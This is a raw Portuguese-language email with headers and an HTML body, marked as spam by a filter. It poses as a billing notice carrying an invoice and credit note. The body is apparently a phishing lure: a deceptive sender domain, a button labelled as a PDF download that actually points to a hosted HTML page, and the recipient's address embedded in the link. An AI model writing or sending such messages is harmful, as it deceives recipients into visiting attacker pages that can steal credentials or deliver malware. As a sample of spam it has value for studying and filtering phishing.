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From: Fatura e Reembolso <grupo@trik6.recadoimportantesfaturapt.com>
To: inf@mak.pt
Message-Id: <20250923141152.BB9BDCF7B5@trik6.recadoimportantesfaturapt.com>
Date: Tue, 23 Sep 2025 15:19:12 +0200 (CEST)
    
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X-Spam-Flag: YES
Subject:  ***SPAM***  Documentos Fiscais 

<!DOCTYPE html>

<html lang="pt">

<head>

    <meta charset="UTF-8">

    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <title>Fatura e Nota de Crédito</title>

    <style>

        body {

            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;

            line-height: 1.6;

            color: #333;

            max-width: 600px;

            margin: 0 auto;

            padding: 20px;

        }

        .header {

            text-align: center;

            padding-bottom: 20px;

            border-bottom: 2px solid #f0f0f0;

            margin-bottom: 30px;

        }

        .content {

            background-color: #f9f9f9;

            padding: 25px;

            border-radius: 8px;

            margin-bottom: 20px;

        }

        .button {

            display: block;

            width: 80%;

            max-width: 300px;

            margin: 30px auto;

            padding: 15px;

            background-color: #4CAF50;

            color: white;

            text-align: center;

            text-decoration: none;

            font-weight: bold;

            border-radius: 5px;

            transition: background-color 0.3s;

        }

        .button:hover {

            background-color: #45a049;

        }

        .footer {

            text-align: center;

            font-size: 0.9em;

            color: #666;

            margin-top: 30px;

            padding-top: 20px;

            border-top: 2px solid #f0f0f0;

        }

    </style>

</head>

<body>

    <div class="header">

        <h2>Documentos de Faturação</h2>

    </div>

    

    <div class="content">

        <p>Caro cliente,</p>

        

        <p>Serve o presente para enviar o nosso documento de faturação em anexo:</p>

        

        <a href="https://storage.googleapis.com/extempresa/arcomp/index.html?hash=inf@mak.pt" class="button">Descarregar Fatura e Nota de Crédito.pdf</a>

        

        <p>Caso não esteja conforme com o que encomendaram ou com o que foi entregue, agradecemos que entre o mais rápido em contato com o seu comercial.</p>

    </div>

    

    <div class="footer">

        <p>Melhores Cumprimentos,</p>

       

    </div>

</body>

</html>